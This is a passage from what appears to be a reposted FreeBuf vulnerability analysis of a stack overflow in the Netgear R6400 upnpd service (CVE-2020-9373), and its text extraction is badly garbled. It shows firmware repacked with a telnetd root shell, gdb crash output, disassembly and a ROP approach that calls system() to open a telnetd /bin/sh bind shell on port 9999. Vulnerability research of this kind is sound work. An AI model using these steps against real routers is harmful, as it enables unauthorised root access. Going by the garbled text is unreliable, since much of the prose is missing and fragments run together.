[15133] 2020-03-15_NetgearR6400upnp栈溢出漏洞分析

文档创建者:s7ckTeam
浏览次数:15
最后更新:2025-01-18
2020-03-15_NetgearR6400upnp栈溢出漏洞分析 N e t g e a r   R 6 4 0 0   u p n p k l o v e y   F r e e B u f   2 0 2 0 - 0 3 - 1 5 N e t g e a r   R 6 4 0 0   u p n p d ( C V E - 2 0 2 0 - 9 3 7 3 ) u d p   1 9 0 0 s s d p D O S R C E 使 使 V 1 . 0 . 1 . 5 2 _ 1 . 0 . 3 6 N e t g e a r   r 6 4 0 0 N e t g e a r   R 6 4 0 0   A C 1 7 5 0 线 2 . 4 G H z 5 G H z 1 7 5 0 M b p s 4 5 0 + 1 3 0 0   M b p s U S B   3 . 0 U S B   2 . 0 u p n p   U n i v e r s a l   P l u g   a n d   P l a y U P n P U P n P   F o r u m 广 使 U P n P S S D P s s d p   S S D P S i m p l e   S e r v i c e   D i s c o v e r y   P r o t o c o l ( U P n P ) 2 . 1   b i n w a l k b i n w a l k n e t g e a r   h e a d e r ( 0 x 3 A )   + T R X   h e a d e r ( 0 x 1 c ) + l i n u x   k e r n e l + s q u a s h f s 2 . 1 . 1   n e t g e a r   h e a d e r 0 x 3 A n e t g e a r h e a d e r n e t g e a r 2 . 1 . 2   T R X   h e a d e r >   b i n w a l k   R 6 4 0 0 - V 1 . 0 . 1 . 5 2 _ 1 . 0 . 3 6 . c h k D E C I M A L               H E X A D E C I M A L           D E S C R I P T I O N - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 5 8                         0 x 3 A                         T R X   f i r m w a r e   h e a d e r ,   l i t t l e   e n d i a n ,   i m a g e   s i z e :   3 1 9 7 7 4 7 2   b y t e s ,   C R C 3 2 :   0 x 4 B D F 3 8 B 9 ,   f l a g s :   0 x 0 ,   v e r s i o n :   1 ,   h e a d e r   s i z e :   2 8   b y t e s ,   l o a d e r   o f f s e t :   0 8 6                         0 x 5 6                         L Z M A   c o m p r e s s e d   d a t a ,   p r o p e r t i e s :   0 x 5 D ,   d i c t i o n a r y   s i z e :   6 5 5 3 6   b y t e s ,   u n c o m p r e s s e d   s i z e :   5 1 7 3 3 4 4   b y t e s 2 1 0 4 6 1 4               0 x 2 0 1 D 2 6                 S q u a s h f s   f i l e s y s t e m ,   l i t t l e   e n d i a n ,   v e r s i o n   4 . 0 ,   c o m p r e s s i o n : x z ,   s i z e :   2 9 8 6 9 2 8 9   b y t e s ,   1 6 4 5   i n o d e s ,   b l o c k s i z e :   1 3 1 0 7 2   b y t e s ,   c r e a t e d :   2 0 1 9 - 1 1 - 0 7   0                                       1                                       2                                       3   0   1   2   3   4   5   6   7   8   9   0   1   2   3   4   5   6   7   8   9   0   1   2   3   4   5   6   7   8   9   0   1 + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + |                                           m a g i c   n u m b e r   ( ' H D R 0 ' )                                           | + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + |                                     l e n g t h   ( h e a d e r   s i z e   +   d a t a )                                     | + - - - - - - - - - - - - - - - + - - - - - - - - - - - - - - - + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + |                                               3 2 - b i t   C R C   v a l u e                                                 | + - - - - - - - - - - - - - - - + - - - - - - - - - - - - - - - + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + |                       T R X   f l a g s                       |                     T R X   v e r s i o n                     | + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + |                                             P a r t i t i o n   o f f s e t [ 0 ]                                             | + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + |                                             P a r t i t i o n   o f f s e t [ 1 ]                                             | + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +
c r c 3 2 c r c b i n w a l k 2 . 2   2 . 2 . 1   R 6 4 0 0 s h e l l + u p n p d s q u a s h f s b u s y b o x t e l n e t d / u s r / s b i n / d l n a d d l n a : 2 . 2 . 2   R 6 4 0 0 s q u a s h f s T R X   h e a d e r n e t g e a r   h e a d e r A R M T R X c r c 3 2 n e t g e a r   h e a d e r p a c k e t c o m p a t i b l e _ r 6 4 0 0 . t x t : s q u s h f s x z : i m a g e . c h k t e l n e t   1 2 3 4 u p n p d s s d p s t r c p y g i h u b u p n p   f u z z ( s e n d c r a s h ) s u l l e y   p e a c h d n s m a s q w e b f u z z g d b S e g m e n t a t i o n   f a u l t : |                                             P a r t i t i o n   o f f s e t [ 2 ]                                             | + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + s t r u c t   t r x _ h e a d e r   {         u i n t 3 2 _ t   m a g i c ;                 / *   " H D R 0 "   * /         u i n t 3 2 _ t   l e n ;                 / *   L e n g t h   o f   f i l e   i n c l u d i n g   h e a d e r   * /         u i n t 3 2 _ t   c r c 3 2 ;                 / *   3 2 - b i t   C R C   f r o m   f l a g _ v e r s i o n   t o   e n d   o f   f i l e   * /         u i n t 3 2 _ t   f l a g _ v e r s i o n ;         / *   0 : 1 5   f l a g s ,   1 6 : 3 1   v e r s i o n   * /         u i n t 3 2 _ t   o f f s e t s [ 4 ] ;         / *   O f f s e t s   o f   p a r t i t i o n s   f r o m   s t a r t   o f   h e a d e r   * / } ; p r i n t ( " 0 x % x "   %   ( ( ~ z l i b . c r c 3 2 ( f p . r e a d ( ) [ 0 x 4 6 : ] ) )   &   0 x f f f f f f f f ) ) >   p y t h o n 3   c r c 3 2 c h e c k . p y   R 6 4 0 0 - V 1 . 0 . 1 . 5 2 _ 1 . 0 . 3 6 . c h k 0 x 4 b d f 3 8 b 9 #   m v   s q u a s h f s / u s r / s b i n / d l n a d   s q u a s h f s / u s r / s b i n / d l n a d d #   t o u c h   s q u a s h f s / u s r / b i n / d l n a d #   c h m o d   + x   s q u a s h f s / u s r / b i n / d l n a d   # ! / b i n / s h / u s r / s b i n / t e l n e t d   - F   - l   / b i n / s h   - p   1 2 3 4   & / u s r / s b i n / d l n a d d   & . / p a c k e t   - k   % s   - f   r o o t f s   - b   c o m p a t i b l e _ r 6 4 0 0 . t x t                   - o k   k e r n e l   - o a l l   i m a g e   - o r   r o o t f s   - i   a m b i t C f g . h m k s q u a s h f s   s q u a s h f s - r o o t   s q u a s h f s - r o o t . s q u a s h   - c o m p   x z #   t e l n e t   1 9 2 . 1 6 8 . 1 . 1   1 2 3 4 B u s y B o x   v 1 . 7 . 2   ( 2 0 1 9 - 1 1 - 0 7   2 0 : 1 9 : 1 2   C S T )   b u i l t - i n   s h e l l   ( a s h ) E n t e r   ' h e l p '   f o r   a   l i s t   o f   b u i l t - i n   c o m m a n d s . # #   c d   / t m p #   t f t p   1 9 2 . 1 6 8 . 1 . 2   - l   g d b   - r   g d b   - g   o c t e t #   c h m o d   + x   g d b #   p s   | g r e p   u p n p d 1 0 9 3 6   a d m i n             2 4 0 0   S       u p n p d 1 2 5 8 0   a d m i n             1 3 1 6   R       g r e p   u p n p d # . / g d b   - - p i d = 1 0 9 3 6
i d a s u b _ b 8 2 0 s u b _ 2 2 2 7 0 s t r c p y G N U   g d b   ( G D B )   7 . 1 1 C o p y r i g h t   ( C )   2 0 1 6   F r e e   S o f t w a r e   F o u n d a t i o n ,   I n c . L i c e n s e   G P L v 3 + :   G N U   G P L   v e r s i o n   3   o r   l a t e r   < h t t p : / / g n u . o r g / l i c e n s e s / g p l . h t m l > T h i s   i s   f r e e   s o f t w a r e :   y o u   a r e   f r e e   t o   c h a n g e   a n d   r e d i s t r i b u t e   i t . T h e r e   i s   N O   W A R R A N T Y ,   t o   t h e   e x t e n t   p e r m i t t e d   b y   l a w .     T y p e   " s h o w   c o p y i n g " a n d   " s h o w   w a r r a n t y "   f o r   d e t a i l s . T h i s   G D B   w a s   c o n f i g u r e d   a s   " a r m - l i n u x - g n u e a b i " . T y p e   " s h o w   c o n f i g u r a t i o n "   f o r   c o n f i g u r a t i o n   d e t a i l s . F o r   b u g   r e p o r t i n g   i n s t r u c t i o n s ,   p l e a s e   s e e : < h t t p : / / w w w . g n u . o r g / s o f t w a r e / g d b / b u g s / > . F i n d   t h e   G D B   m a n u a l   a n d   o t h e r   d o c u m e n t a t i o n   r e s o u r c e s   o n l i n e   a t : < h t t p : / / w w w . g n u . o r g / s o f t w a r e / g d b / d o c u m e n t a t i o n / > . F o r   h e l p ,   t y p e   " h e l p " . T y p e   " a p r o p o s   w o r d "   t o   s e a r c h   f o r   c o m m a n d s   r e l a t e d   t o   " w o r d " . A t t a c h i n g   t o   p r o c e s s   1 5 4 0 9 R e a d i n g   s y m b o l s   f r o m   / u s r / s b i n / u p n p d . . . ( n o   d e b u g g i n g   s y m b o l s   f o u n d ) . . . d o n e . R e a d i n g   s y m b o l s   f r o m   / u s r / l i b / l i b n v r a m . s o . . . ( n o   d e b u g g i n g   s y m b o l s   f o u n d ) . . . d o n e . R e a d i n g   s y m b o l s   f r o m   / u s r / l i b / l i b a c o s _ s h a r e d . s o . . . ( n o   d e b u g g i n g   s y m b o l s   f o u n d ) . . . d o n e . R e a d i n g   s y m b o l s   f r o m   / u s r / l i b / l i b n a t . s o . . . ( n o   d e b u g g i n g   s y m b o l s   f o u n d ) . . . d o n e . R e a d i n g   s y m b o l s   f r o m   / l i b / l i b c r y p t . s o . 0 . . . ( n o   d e b u g g i n g   s y m b o l s   f o u n d ) . . . d o n e . R e a d i n g   s y m b o l s   f r o m   / l i b / l i b g c c _ s . s o . 1 . . . ( n o   d e b u g g i n g   s y m b o l s   f o u n d ) . . . d o n e . R e a d i n g   s y m b o l s   f r o m   / l i b / l i b c . s o . 0 . . . ( n o   d e b u g g i n g   s y m b o l s   f o u n d ) . . . d o n e . R e a d i n g   s y m b o l s   f r o m   / l i b / l i b m . s o . 0 . . . ( n o   d e b u g g i n g   s y m b o l s   f o u n d ) . . . d o n e . R e a d i n g   s y m b o l s   f r o m   / l i b / l d - u C l i b c . s o . 0 . . . ( n o   d e b u g g i n g   s y m b o l s   f o u n d ) . . . d o n e . 0 x 4 0 1 1 f 4 c c   i n   s e l e c t   ( )   f r o m   / l i b / l i b c . s o . 0 ( g d b ) c C o n t i n u i n g . P r o g r a m   r e c e i v e d   s i g n a l   S I G S E G V ,   S e g m e n t a t i o n   f a u l t . 0 x 4 0 1 e 3 9 5 4   i n   s t r s t r   ( )   f r o m   / l i b / l i b c . s o . 0 ( g d b )   b a c k t r a c e # 0     0 x 4 0 1 e 3 9 5 4   i n   s t r s t r   ( )   f r o m   / l i b / l i b c . s o . 0 # 1     0 x 0 0 0 0 b 8 2 0   i n   ? ?   ( ) B a c k t r a c e   s t o p p e d :   p r e v i o u s   f r a m e   i d e n t i c a l   t o   t h i s   f r a m e   ( c o r r u p t   s t a c k ? ) ( g d b ) i   r r 0                           0 x 4 1 4 1 4 1 4 1               1 0 9 4 7 9 5 5 8 5 r 1                           0 x b e e e f c c 4               3 2 0 3 3 3 3 3 1 6 r 2                           0 x b e e e f c c 4               3 2 0 3 3 3 3 3 1 6 r 3                           0 x 4 1 4 1 4 1 4 1               1 0 9 4 7 9 5 5 8 5 r 4                           0 x 4 1           6 5 r 5                           0 x b e e e f c c 0               3 2 0 3 3 3 3 3 1 2 r 6                           0 x b e e e f c c 4               3 2 0 3 3 3 3 3 1 6 r 7                           0 x b e e e f c c 0               3 2 0 3 3 3 3 3 1 2 r 8                           0 x b e e e f c c 4               3 2 0 3 3 3 3 3 1 6 r 9                           0 x 3 0 a         7 7 8 r 1 0                         0 x 1             1 r 1 1                         0 x b 8 f 7 c     7 5 7 6 2 8 r 1 2                         0 x 4 c 7 a c     3 1 3 2 6 0 s p                           0 x b e e e f 6 7 8               0 x b e e e f 6 7 8 l r                           0 x b 8 2 0       4 7 1 3 6 p c                           0 x 4 0 1 e 3 9 5 4               0 x 4 0 1 e 3 9 5 4   < s t r s t r + 2 4 > c p s r                       0 x 2 0 0 0 0 0 1 0               5 3 6 8 7 0 9 2 8   t e x t : 0 0 0 2 2 2 7 0 . t e x t : 0 0 0 2 2 2 7 0                                   S T M F D                       S P ! ,   { R 4 - R 1 1 , L R } . t e x t : 0 0 0 2 2 2 7 4                                   S U B                           S P ,   S P ,   # 0 x 6 3 0 . t e x t : 0 0 0 2 2 2 7 8                                   S U B                           S P ,   S P ,   # 4 . t e x t : 0 0 0 2 2 2 7 C                                   M O V                           R 5 ,   R 2 . t e x t : 0 0 0 2 2 2 8 0                                   A D D                           R 3 ,   S P ,   # 0 x 6 5 8 + s . t e x t : 0 0 0 2 2 2 8 4                                   M O V                           R 2 ,   # 0 x 2 0 . t e x t : 0 0 0 2 2 2 8 8                                   S T R H                         R 2 ,   [ R 3 , # 0 x 2 C ] . t e x t : 0 0 0 2 2 2 8 C                                   M O V                           R 4 ,   R 0 . t e x t : 0 0 0 2 2 2 9 0                                   L D R                           R 3 ,   = d w o r d _ 8 8 5 D C . t e x t : 0 0 0 2 2 2 9 4                                   M O V                           R 6 ,   R 1 . t e x t : 0 0 0 2 2 2 9 8                                   L D R                           R 3 ,   [ R 3 ] . t e x t : 0 0 0 2 2 2 9 C                                   C M P                           R 3 ,   # 1 . t e x t : 0 0 0 2 2 2 A 0                                   M O V E Q                       R 0 ,   # 0 . t e x t : 0 0 0 2 2 2 A 4                                   B E Q                           l o c _ 2 2 3 6 4 . t e x t : 0 0 0 2 2 2 A 8                                   A D D                           R 3 ,   S P ,   # 0 x 6 5 8 + v a r _ 6 2 8 . t e x t : 0 0 0 2 2 2 A C                                   A D D                           R 7 ,   S P ,   # 0 x 6 5 8 + v a r _ 2 8 . t e x t : 0 0 0 2 2 2 B 0                                   S U B                           R 3 ,   R 3 ,   # 0 x C . t e x t : 0 0 0 2 2 2 B 4                                   A D D                           R 8 ,   S P ,   # 0 x 6 5 8 + v a r _ 3 8 . t e x t : 0 0 0 2 2 2 B 8                                   S T R                           R 3 ,   [ R 7 , # - 8 ] ! . t e x t : 0 0 0 2 2 2 B C                                   M O V                           R 1 ,   R 4     ;   s r c . t e x t : 0 0 0 2 2 2 C 0                                   M O V                           R 0 ,   R 3     ;   d e s t . t e x t : 0 0 0 2 2 2 * *                                   A D D                           R 8 ,   R 8 ,   # 0 x C . t e x t : 0 0 0 2 2 2 C 8                                   B L                             s t r c p y . t e x t : 0 0 0 2 2 2 C C                                   M O V                           R 0 ,   R 7 . t e x t : 0 0 0 2 2 2 D 0                                   M O V                           R 1 ,   R 8 . t e x t : 0 0 0 2 2 2 D 4                                   B L                             s u b _ B 8 0 0
s u b _ 2 2 2 7 0 r 1 r 0 r 7 r 7 r 0 ( 0 x 4 1 4 1 4 1 4 1 ) r 0 S e g m e n t a t i o n   f a u l t 4 . 1   u p n p d b y p a s s R O P 4 . 1 . 1   u p n p d 0 x 0 0 s h e l l c o d e 0 x 0 0 s t r c p y ( A R M b u f ) p o p 使 0 x 0 0 R O P : 4 . 1 . 2   r 7 r 7 r e t u r n S e g m e n t a t i o n   f a u l t 退 D O S l i b c 0 x 4 0 1 X X 4 c c r 7 0 x 4 0 1 0 0 4 c c u p n p d l i b c 0 x 4 0 2 X X 4 c c 4 . 2   r o p R O P p w n t o o l s R O P g a d g e t : r 7 R O P s y s t e m u p n p d 退 9 9 9 9 t e l n e t d 1 r 7 2 使 u p n p 便 u p n p 3 N e t g e a r W N D R 3 4 0 0 v 3 C V E ( C V E - 2 0 1 9 - 1 4 3 6 3 ) o p e n w r t / d d w r t 4 h t t p s : / / g i t h u b . c o m / k o l o v e y / N e t g e a r - u p n p - c r a s h . g i t . t e x t : 0 0 0 2 2 2 D 4                                   B L                             s u b _ B 8 0 0 . t e x t : 0 0 0 2 2 2 D 8                                   S U B S                         R 1 0 ,   R 0 ,   # 0 . t e x t : 0 0 0 2 2 2 D C                                   B E Q                           l o c _ 2 2 3 6 0   ;   j u m p t a b l e   0 0 0 2 2 4 2 4   d e f a u l t   c a s e . t e x t : 0 0 0 2 2 2 E 0                                   L D R                           R 1 ,   = a M S e a r c h   ;   " M - S E A R C H " . t e x t : 0 0 0 2 2 2 E 4                                   B L                             s t r s t r . t e x t : 0 0 0 ( g d b )   x / 2 0 x   0 x b e d 4 4 2 e 8 0 x b e d 4 4 2 e 8 :     0 x 4 1 4 1 4 1 4 1             0 x 4 1 4 1 4 1 4 1             0 x 4 1 4 1 4 1 4 1             0 x 4 1 4 1 4 1 4 1 0 x b e d 4 4 2 f 8 :     0 x 4 1 4 1 4 1 4 1             0 x 4 1 4 1 4 1 4 1             0 x 4 1 4 1 4 1 4 1             0 x 4 1 4 1 4 1 4 1 0 x b e d 4 4 3 0 8 :     0 x 4 1 4 1 4 1 4 1             0 x 4 1 4 1 4 1 4 1             0 x 4 1 4 1 4 1 4 1             0 x 4 1 4 1 4 1 4 1 0 x b e d 4 4 3 1 8 :     0 x 4 1 4 1 4 1 4 1             0 x 4 2 0 0 4 2 0 0             0 x 4 2 0 0 4 2 0 0             0 x 0 0 0 0 0 0 0 0 ( g d b )   x / 1 0 x   0 x 4 0 1 0 0 c c 0 x 4 0 1 b d 2 5 c   < s e l e c t + 1 2 > :     0 x e 3 7 0 0 a 0 1             0 x e 1 a 0 4 0 0 0             0 x 9 a 0 0 0 0 0 3             0 x e 2 6 4 4 0 0 0 0 x 4 0 1 b d 2 6 c   < s e l e c t + 2 8 > :     0 x e b f f f 0 9 9             0 x e 5 8 0 4 0 0 0             0 x e 3 e 0 4 0 0 0             0 x e 1 a 0 0 0 0 4 0 x 4 0 1 b d 2 7 c   < s e l e c t + 4 4 > :     0 x e 8 b d 8 0 9 8             0 x e 3 a 0 2 0 0 0 / / p o p 使 s e n d . t e x t : 0 0 0 1 9 1 2 4                                   A D D                           S P ,   S P ,   # 0 x D C . t e x t : 0 0 0 1 9 1 2 8                                   A D D                           S P ,   S P ,   # 0 x 8 0 0 . t e x t : 0 0 0 1 9 1 2 C                                   L D M F D                       S P ! ,   { R 4 - R 1 1 , P C } / / r 0 . t e x t : 0 0 0 0 C E E 4                                   M O V                           R 0 ,   R 4     ;   s . t e x t : 0 0 0 0 C E E 8                                   M O V                           R 1 ,   # 0     ;   c . t e x t : 0 0 0 0 C E E C                                   M O V                           R 2 ,   R 5     ;   n . t e x t : 0 0 0 0 C E F 0                                   B L                             m e m s e t . t e x t : 0 0 0 0 C E F 4                                   M O V                           R 0 ,   R 4     ;   d e s t . t e x t : 0 0 0 0 C E F 8                                   M O V                           R 1 ,   S P     ;   s r c . t e x t : 0 0 0 0 C E F C                                   B L                             s t r c p y . t e x t : 0 0 0 0 C F 0 0                                   A D D                           S P ,   S P ,   # 0 x 4 0 0 . t e x t : 0 0 0 0 C F 0 4                                   L D M F D                       S P ! ,   { R 4 - R 6 , P C } / / s y s t e m . t e x t : 0 0 0 1 7 8 7 8                                   B L                             s y s t e m . t e x t : 0 0 0 1 7 8 7 C                                   M O V                           R 0 ,   # 1 #   p s   | g r e p   t e l n e t 1 0 9 1 2   a d m i n             1 2 9 2   S       / u s r / s b i n / t e l n e t d   - p   1 2 3 4 1 1 5 8 7   a d m i n             1 2 9 6   S       s h   - c   t e l n e t d   - F   - l   / b i n / s h   - p   9 9 9 9 ; 1 1 5 8 8   a d m i n             1 2 9 6   S       t e l n e t d   - F   - l   / b i n / s h   - p   9 9 9 9 1 2 2 8 0   a d m i n             1 3 1 6   S       g r e p   t e l n e t
N e t g e a r h t t p s : / / w w w . n e t g e a r . c o m / a b o u t / s e c u r i t y / h t t p s : / / w w w . n e t g e a r . c o m / s u p p o r t / p r o d u c t / R 6 4 0 0 . a s p x # F i r m w a r e   V e r s i o n   1 . 0 . 1 . 3 2 G P L h t t p : / / w w w . d o w n l o a d s . n e t g e a r . c o m / f i l e s / G D C / R 6 4 0 0 / R 6 4 0 0 - V 1 . 0 . 1 . 3 4 _ 1 . 0 . 2 4 . z i p h t t p : / / k o o l s h a r e . c n / t h r e a d - 1 4 2 2 3 2 - 1 - 6 . h t m l u p n p _ f u z z i n g : h t t p s : / / g i t h u b . c o m / w 0 l f z h a n g / u p n p _ f u z z i n g . g i t * k l o v e y F r e e B u f
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则